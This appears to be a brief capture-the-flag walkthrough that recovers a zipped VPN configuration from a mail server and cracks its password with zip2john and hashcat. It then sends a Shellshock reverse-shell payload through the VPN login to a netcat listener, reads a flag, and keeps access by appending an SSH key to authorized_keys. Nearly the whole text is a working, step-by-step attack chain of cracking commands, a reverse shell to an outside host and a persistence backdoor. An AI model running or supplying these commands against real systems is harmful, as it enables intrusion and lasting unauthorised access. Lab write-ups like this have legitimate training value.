-
Resume From 🗂 Mail Server
-
Get OVPN from Mail Server: 🗂 258-s.msg
-
Decode Zip File from Base64:
https://www.freeformatter.com/base64-encoder.html -
Install
John The Ripper -
Generate Hash
zip2john 03-vpn.zip > hashes\05-zip_hashes.txt -
Edit File (remove file names from hashes): 🗂 Zip Hashes
-
Run Hashcat
hashcat -m 13600 -a 3 ./hashes/06-zip_hashes.txt "?l?l?l?l?l?l?l"
# to show Results
hashcat -m 13600 -a 3 ./hashes/06-zip_hashes.txt "?l?l?l?l?l?l?l" --show > hashes\07-hashcat.txt
- Hashcat Results in 🗂 Hashcat:
ehsanit - Extract and Edit:
09-vpn\client.ovpn
...
remote 172.16.4.120 1194
...
- Start:
nc -l 0.0.0.0 9696 - Lets Connect:
openvpn 09-vpn\client.ovpn(I use GUI in Video!) - Send Username, Password
() { :;};/bin/bash -i >& /dev/tcp/10.120.0.7/9696 0>&1 &
- Read Flag: MAZAPA_e33e4c6c2f2f1df8be066279d18c8e26
- Persist Your Connection:
echo <public-key> >> ~/.ssh/authorized_keys
- Connect with SSH
ssh -i "<private-key>" vpn_user@vpn.petromaz.ir